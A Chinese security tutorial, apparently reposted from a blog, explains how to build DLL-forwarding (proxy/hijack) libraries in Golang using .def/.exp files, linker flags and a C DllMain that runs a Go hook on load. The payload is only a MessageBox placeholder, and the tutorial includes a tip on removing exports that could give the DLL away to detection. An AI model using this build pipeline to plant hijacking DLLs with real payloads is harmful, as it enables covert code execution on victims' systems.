原文: https://xz.aliyun.com/t/10143
本文章将讲解如何使用 Golang 来实现恶意的 dll 劫持转发
dll 转发概述
dll 转发: 攻击者使用恶意dll替换原始dll,重命名原始dll并通过恶意dll将原先的功能转发至原始dll。
该恶意dll一般用来专门执行攻击者希望拦截或修改的功能,同时将所有其他功能转发至原始dll
一般可与 dll 劫持共同使用。
dll 搜索顺序
首先我们来看一下 Windows 系统中 dll 的搜索顺序
上图中攻击者可以控制的就是标准搜索顺序中的步骤,根据情况的不同我们可以选择不同的方式来进行 dll 劫持
步骤
要实现 dll 转发,一般需要以下一些步骤
- 解析原始 dll 的导出表
- 收集出要拦截修改的函数
- 在恶意 dll 中实现拦截功能
- 将所有其他函数转发至原始 dll 上
- 重命名原始 dll
- 使用原始 dll 的名称重命名恶意 dll
PE 文件导出表
什么是 PE 导出表?
导出表就是当前的 PE 文件提供了哪些函数给别人调用。
并不只有 dll 才有导出表,所有的 PE 文件都可以有导出表,exe 也可以导出函数给别人使用,一般情况而言 exe 没有,但并不是不可以有
导出表在哪里?
PE 文件格式在这里并不进行详细介绍,感兴趣的读者可以自行查阅相关资料。
PE 文件包含 DOS 头和 PE 头,PE 头里面有一个扩展头,这里面包含了一个数据目录(包含每个目录的VirtualAddress和Size的数组。目录包括:导出、导入、资源、调试等),从这个地方我们就能够定位到导出表位于哪里
导出表的结构
接下来我们看看导出表的结构
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp; //时间戳. 编译的时间. 把秒转为时间.可以知道这个DLL是什么时候编译出来的.
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; //指向该导出表文件名的字符串,也就是这个DLL的名称 辅助信息.修改不影响 存储的RVA 如果想在文件中查看.自己计算一下FOA即可.
DWORD Base; // 导出函数的起始序号
DWORD NumberOfFunctions; //所有的导出函数的个数
DWORD NumberOfNames; //以名字导出的函数的个数
DWORD AddressOfFunctions; // 导出的函数地址的 地址表 RVA 也就是 函数地址表
DWORD AddressOfNames; // 导出的函数名称表的 RVA 也就是 函数名称表
DWORD AddressOfNameOrdinals; // 导出函数序号表的RVA 也就是 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
我们使用cff explorer看看dll的导出表
可惜从这个图上我们并不能观察出导出的函数是否是一个转发函数,我们使用16进制编辑器打开看看
从这个图上我们可以看到 add 导出函数前面还有一些东西 _lyshark.dll._lyshark.add.add
这个标识告诉我们这个 dll 的导出函数 add 实际上位于 _lyshark.dll 上
dll 转发如何工作
当我们调用转发函数时,Windows加载程序将检查该 dll(即恶意 dll)所引用的 dll(即原始dll)是否已加载,如果引用的 dll 还没有加载到内存中,Windows加载程序将加载这个引用的 dll,最后搜索该导出函数的真实地址,以便我们调用它
dll 转发(dll 劫持)的一般实现
我们能在网上搜索到一些 dll 转发(dll 劫持)的实现,基本是使用微软 MSVC 编译器的特殊能力4
MSVC 支持在 cpp 源文件中写一些链接选项,类似
#progma comment(linker, "/export:FUNCTION_NAME=要转发的dll文件名.FUNCTION_NAME")
列出导出函数
下面我们采用 MSVC 对 zlib.dll 实现一个样例5
首先我们能使用 DLL Export Viewer 工具查看并导出一个 dll 的导出表
然后我们点击 View > HTML Report - All Functions
我们可以得到一个类似于下面的 html
给 MSVC 链接器生成导出指令
我们现在可以把这个 html 转化为 MSVC 的导出指令5
"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse
def main():
parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
args = parser.parse_args()
report = args.report
try:
f = open(report)
page = f.readlines()
f.close()
except:
print("[-] ERROR: open('%s')" % report)
return
for line in page:
if line.startswith("<tr>"):
cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
function_name = cols[1]
ordinal = cols[4].split(' ')[0]
dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))
if __name__ == '__main__':
main()
然后我们可以获得这样的输出
下面的具体怎么生成不再进行介绍,如果感兴趣可以查看 Windows Privilege Escalation - DLL Proxying 或 基于AheadLib工具进行DLL劫持
dll 转发(dll 劫持)的 mingw 实现
如果有的人和我一样,不喜欢安装庞大的 Visual Studio,习惯用 gcc mingw 来完成,我们也是能够完成的
def 文件介绍
这里我们使用 gcc 编译器和 mingw-w64(这个是mingw的改进版)
此处我们不再采用直接把链接指令写入代码源文件的方式,而是采用模块定义文件 (.Def)
模块定义 (.def) 文件为链接器提供有关导出、属性和有关要链接的程序的其他信息的信息。.def 文件在构建 DLL 比较有用。详情可参见 MSDN Module-Definition (.Def) Files
当然,我们采用这种方式的原因是因为 .def 能被 mingw-w64 所支持,我们要做的就是在.def文件中写入我们要转发到原始dll的所有函数的列表,并在编译dll的时候在GCC中设置该 .def 文件参与链接。
简单的示例
实现流程
这里我们采用一个简单的样例,我们采用常规写了一个 dll, 该 dll 文件导出一个 add 函数,该导出函数的作用就是把传入的两个数值进行相加
#include <Windows.h>
extern "C" int __declspec(dllexport)add(int x, int y)
{
return x + y;
}
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}
我们将它编译成 dll 文件
gcc add.cpp -shared -o add.dll
然后我们写一个主程序来调用它
#include <stdio.h>
#include <Windows.h>
typedef int(*lpAdd)(int, int);
int main(int argc, char *argv[])
{
HINSTANCE DllAddr;
lpAdd addFun;
DllAddr = LoadLibraryW(L"add.dll");
addFun = (lpAdd)GetProcAddress(DllAddr, "add");
if (NULL != addFun)
{
int res = addFun(100, 200);
printf("result: %d \n", res);
}
FreeLibrary(DllAddr);
system("pause");
return 0;
}
然后我们进行编译执行
gcc main.cpp -o main.exe
./main.exe
可以看到如下输出
然后我们将我们刚才生成的 add.dll 重命名为 _add.dll
然后创建一个 .def 文件
functions.def
LIBRARY _add.dll
EXPORTS
add = _add.add @1
LIBRARY _add.dll
代表转发到 _add.dll
,下面的 EXPORTS
定义了需要转发的函数,=
前面是导出函数名,=
后面的 _add
代表要转发到的 dll 的名称,add
代表要转发到 _add.dll
的哪一个导出函数,关键在于 @1
我们可以拿 DLL Export Viewer 或 StudyPE+ 等工具看看
我们可以看到 Ordinal
, 这个是导出函数序号,就是 @1
的来源,如果有多个导出函数,依次写下来即可
然后编写我们的恶意 dll
#include <Windows.h>
BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
return true;
}
如上所示,当然,这只是一个样例,所以我并没有写下任何恶意代码
现在可以编译我们的恶意dll了
gcc -shared -o add.dll evil.cpp functions.def
- -shared表示我们要编译一个共享库(非静态)
- -o指定可执行文件的输出文件名
- add.dll是我们想给我们的恶意 dll 起的名字
- evil.cpp是我们在其中编写恶意 dll 代码的 .cpp 文件
如果编译成功的话,你应该能在同目录下找到刚刚生成好的恶意 dll(add.dll)
我们再使用 PE 查看工具看看导出表
可以看到中转输出表上已经有了
注意我们这个 dll 并没有写任何功能性代码,让我们使用刚才编译的 main.exe 测试一下
可以发现功能转发正常
当然,当导出函数过多的时候我们不可能一个个自己去导出表里抄,可以写一个脚本自动化完成这个工作,不过这不是我们本文的重点,或者你可以使用 mingw-w64 里面自带的 gendef.exe 工具
.def 和 .exp 文件
exp:
文件是指导出库文件的文件,简称导出库文件,它包含了导出函数和数据项的信息。当LIB创建一个导入库,同时它也创建一个导出库文件。如果你的程序链接到另一个程序,并且你的程序需要同时导出和导入到另一个程序中,这个时候就要使用到exp文件(LINK工具将使用EXP文件来创建动态链接库)。
def:
def文件的作用即是,告知编译器不要以microsoft编译器的方式处理函数名,而以指定的某方式编译导出函数(比如有函数func,让编译器处理后函数名仍为func)。这样,就可以避免由于microsoft VC++编译器的独特处理方式而引起的链接错误。
从上面的介绍中我们可以看出 .exp 文件可以用在链接阶段,所以我们可以先使用 dlltool
工具将 .def 转化为 .exp 文件,然后编译 evil.cpp
到 evil.o
再手动进行链接。
gcc -c -O3 evil.cpp
dlltool --output-exp functions.exp --input-def functions.def
ld -o add.dll functions.exp evil.o
额外的说明
当然,你也可以通过 clang 来完成这项工作
clang -shared evil.cpp -o add.dll -Wl"/DEF:functions.def"
我们如何用 Golang 来实现转发 dll
Golang 提供了官方的动态链接库(dll)编译命令 go build -buildmode=c-shared -o exportgo.dll exportgo.go
,根据我们前面铺垫的基础,现阶段所需要思考的是:如何把 .def 文件或 .exp 文件也带入进去?
下文我将用 gcc 作为 cgo 的外部链接器,clang也可以按照同样的思想
尝试与思考
为什么不考虑利用cgo直接在c代码中写 #progma comment(linker, '/EXPORT')
,这个的主要原因是 Golang 的 cgo 能力现阶段只支持 clang 和 gcc,MSVC编译器并不支持9。
让我们现在来思考一下整个编译流程:
- 预处理
预处理用于将所有的#include头文件以及宏定义替换成其真正的内容 - 编译
将经过预处理之后的程序转换成特定汇编代码(assembly code)的过程 - 汇编
汇编过程将上一步的汇编代码转换成机器码(machine code),这一步产生的文件叫做目标文件,是二进制格式。gcc汇编过程通过as命令完成,这一步会为每一个源文件产生一个目标文件 - 链接
链接过程将多个目标文以及所需的库文件(.so等)链接成最终的可执行文件(executable file)。
前三步都是在将代码处理成二进制机器码,而我们所要操控的导出表是属于文件格式的一部分,所以应该是需要在链接这个步骤做文章
借助这个思路,我们对上面的样例做做文章。
首先把我们的 evil.cpp
编译汇编成目标文件,然后链接时加入额外控制。
# evil.cpp 编译汇编成 evil.o 目标文件(下面的 -O3 是为了启用 O3 优化,可选)
gcc -c O3 evil.cpp
# 和 .def 文件一起进行链接
ld -o add.dll functions.def evil.o
或者利用上文中先将 .def 转化成 .exp 再进行手动链接,我们均能得到我们预期的转发dll。
golang 中的实现
我们的目的是需要把 .def 或 .exp 文件放入整个编译流程的链接环节中去。
首先我们需要先了解一下 cgo 的工作方式11:它用c编译器编译c,用Go编译器编译Go,然后使用 gcc 或 clang 将他们链接在一起,我们甚至能够通过 CGO_LDFLAGS 来将flag传递至链接器。
在我们Golang程序编译命令中,相信大家使用过 -ldflags=""
选项,这个其实是 go tool link
带来的,go build 只是一个前端,Go 提供了一组低级工具来编译和链接程序,go build只需收集文件并调用这些工具。我们可以通过使用-x标志来跟踪它的作用。不过这里我们并不关心这个。
我们去看看 go tool link的说明书,帮助文件里面提到了
-extld linker
Set the external linker (default "clang" or "gcc").
-extldflags flags
Set space-separated flags to pass to the external linker.
-extld
一般我们不需要更改,也就是我们只需要想办法修改 -extldflags
让链接过程带入我们的 .def 或 .exp 文件即可。
但是,我们刚才使用 ld
编译的时候,都是直接将 .def 或 .exp 文件传入的,如何通过 ld
的参数传入呢?
在 gcc 的链接选项 里,有一个选项是 -Wl
,用法为 -Wl,option
,它的作用就是将-Wl
后的option作为标识传递给 ld
命令,如果 option 中包含 ,
,则根据 ,
拆分为多个标识传递给 ld
,可能看到这里你对于这个选项还是一知半解,下面举个例子
gcc -c evil.cpp
ld -o add.dll functions.def evil.o
等同于
gcc -shared -o add.dll -Wl,functions.def evil.cpp
等同于
gcc -shared -Wl,functions.def,-o,add.dll evil.cpp
也就是 -Wl
后面的东西都会传递链接器
所以我们将 .def 或 .exp 文件利用 -Wl
选项设置到 -extldflags
上去即可。
所以我们现在可以创建一个样例 go 程序用来编译 dll
main.go
package main
import "C"
func main() {
// Need a main function to make CGO compile package as C shared library
}
然后进行编译
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.def" main.go
注意:-Wl后面要写上 .def 或 .exp 文件的绝对路径,主要是由于调用程序时候的工作路径问题,只需要记住这一点即可。
现在我们得到了一个 golang 编译出来的转发dll
当然,你可能会对那个 _cgo_dummy_export
导出函数比较疑惑,这个是golang编译的dll所特有的,如果你想要去除掉它,可以使用 .exp 来进行链接
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.exp" main.go
dll 转发的总结
其实 cgo 主要的编译手段为:用c编译器编译c,用Go编译器编译Go,然后使用 gcc 或 clang 将他们链接在一起。我们所需要做的只是将它们粘合在一起。
在 Golang 中如何实现恶意 dll
我们已经知道了该怎么在 Golang 中实现转发 dll,接下来我们可以尝试实现恶意 dll 了。
init 写法
如果你看这篇文章,相信你已经知道 Go 会默认执行包中的 init() 方法。所以我们可以把我们的恶意代码定义到这个函数里面去。
一般的dll实现方式为
package main
func Add(x, y int) int {
return x + y
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
我们只需要加上一个 init 方法,并且让恶意代码异步执行即可(防止 LoadLibrary 卡住)
package main
func init() {
go func() {
// 你的恶意代码
}()
}
func Add(x, y int) int {
return x + y
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
对于 windows dll 更细粒度的控制
对于windows dll,DllMain11 是一个可选的入口函数
对于 DllMain 的介绍,我这里就不再赘述了,感兴趣的可以自行进行查询
系统是在什么时候调用DllMain函数的呢?静态链接或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。DllMain的第二个参数fdwReason指明了系统调用Dll的原因,它可能是::
DLL_PROCESS_ATTACH
: 当一个DLL文件首次被映射到进程的地址空间时DLL_PROCESS_DETACH
: 当DLL被从进程的地址空间解除映射时DLL_THREAD_ATTACH
: 当进程创建一线程时,第n(n>=2)次以后地把DLL映像文件映射到进程的地址空间时,是不再用DLL_PROCESS_ATTACH调用DllMain的。而DLL_THREAD_ATTACH不同,进程中的每次建立线程,都会用值DLL_THREAD_ATTACH调用DllMain函数,哪怕是线程中建立线程也一样DLL_THREAD_DETACH
: 如果线程调用了ExitThread来结束线程(线程函数返回时,系统也会自动调用ExitThread),系统查看当前映射到进程空间中的所有DLL文件映像,并用DLL_THREAD_DETACH来调用DllMain函数,通知所有的DLL去执行线程级的清理工作
这些流程根据你自己的需求来进行控制。当然,如果你有过 Windows 编程经验,应该对这个比较熟悉。
Golang 是一个有 GC 的语言,需要在加载时运行 Golang 本身的运行时,所以暂时没有太好的方案在 Golang 中实现 DllMain 让外层直接调用入口点,因为没有初始化运行时。
我们可以变相通过 cgo 来实现这个目的。总体思路为,利用 C 来写 DllMain,通过 c 来调用 Golang 的函数
以下示例代码大多来自 github.com/NaniteFactory/dllmain
c 实现 DllMain
首先我们可以在 c 中定义我们自己的 DllMain
#include "dllmain.h"
typedef struct {
HINSTANCE hinstDLL; // handle to DLL module
DWORD fdwReason; // reason for calling function // reserved
LPVOID lpReserved; // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
MyThreadParams params = *((MyThreadParams*)lpParam);
OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
free(lpParam);
return 0;
}
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason) {
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
MyThreadParams* lpThrdParam = (MyThreadParams*)malloc(sizeof(MyThreadParams));
lpThrdParam->hinstDLL = _hinstDLL;
lpThrdParam->fdwReason = _fdwReason;
lpThrdParam->lpReserved = _lpReserved;
HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, lpThrdParam, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
注意此处最好使用 CreateThread
来进行外部 Go 函数的调用,不然可能因为初始化 Go 运行时的问题导致死锁。
我们在该代码中 DLL_PROCESS_ATTACH
时异步调用了 OnProcessAttach,我们在 Golang 中实现这个恶意函数
Golang 恶意代码
我们现在来定义我们的恶意代码实现
package main
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
const (
NULL = 0
MB_OK = 0
)
return MessageBox(NULL, caption, title, MB_OK)
}
// OnProcessAttach is an async callback (hook).
//export OnProcessAttach
func OnProcessAttach(
hinstDLL unsafe.Pointer, // handle to DLL module
fdwReason uint32, // reason for calling function
lpReserved unsafe.Pointer, // reserved
) {
MessageBoxPlain("OnProcessAttach", "OnProcessAttach")
}
func main() {
// Need a main function to make CGO compile package as C shared library
}
此处我们实现了恶意函数 OnProcessAttach
,只是弹个窗来模拟恶意代码。
组合 Golang 和 c 编译
现在我们有了 .go 和 .c,还需要把它们两个粘合起来
第一种方案
你可以通过 cgo 的一般写法,在 .go 的注释中把 c 代码拷贝进去,例如
package main
/*
#include "dllmain.h"
typedef struct {
HINSTANCE hinstDLL; // handle to DLL module
DWORD fdwReason; // reason for calling function // reserved
LPVOID lpReserved; // reserved
} MyThreadParams;
DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
MyThreadParams params = *((MyThreadParams*)lpParam);
OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
free(lpParam);
return 0;
}
...c源码文件
*/
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
...go 源码文件
第二种方案
或者你也可以给 .c 写一个头文件 .h,然后在 .go 中导入这个头文件,在 go build
的时候 Go 编译器会默认找到该目录下的 .c、.h、.go 一起编译。
比如你可以创建一个 .h 文件
#include <windows.h>
void OnProcessAttach(HINSTANCE, DWORD, LPVOID);
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved // reserved
);
然后在 .go 中引用它
package main
/*
#include "dllmain.h"
*/
import "C"
import (
"unsafe"
"syscall"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}
然后就可以一起编译了。
导出表的问题
确实,现在我们可以编译出恶意的转发dll了,但是我们可能会发现导出表里面其实有很多奇奇怪怪的导出函数
这些导出函数可能会成为某些特征
我们的原始dll并没有这些导出函数,但是生成的转发dll这么多奇怪的导出函数该怎么去掉?
我们可以同样可以使用上文的 exp 文件来解决,它就是一个导出库文件,来定义有哪些导出的。
根据上文的方法我们使用 dlltool 从 def 文件生成一个 exp 文件,然后编译时加入链接即可。
go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,/home/lab/Repo/go-dll-proxy/dllmain/functions.exp -s -w"
ldflags
里面的新增的 -s -w
只是为了减小一点体积去除一下符号,可选。
最后的最后
仓库相关示例已经上传至 github.com/akkuman/go-dll-evil
感兴趣的可以查看。
参考资料
- [1] PE知识复习之PE的导出表
- [2] DLL Proxying
- [3] /EXPORT (Exports a Function)
- [4] Windows Privilege Escalation - DLL Proxying
- [5] DLL Hijacking using DLL Proxying technique
- [6] DLL之def和exp文件作用
- [7] mingw环境中使用dlltool工具来生成动态库的步骤
- [8] Specifying the DEF file when compiling a DLL with Clang
- [9] issues - cmd/link: support msvc object files
- [10] gcc Options for Linking
- [11] RUSTGO: CALLING RUST FROM GO WITH NEAR-ZERO OVERHEAD
- [12] Go Execution Modes
- [13] go tool link
- [14] DllMain entry point
- [15] DllMain简介和DLL编写说明
- [16] Call Go function from C function
- [17] github.com/NaniteFactory/dllmain
- [18] How to implement DllMain entry point in Go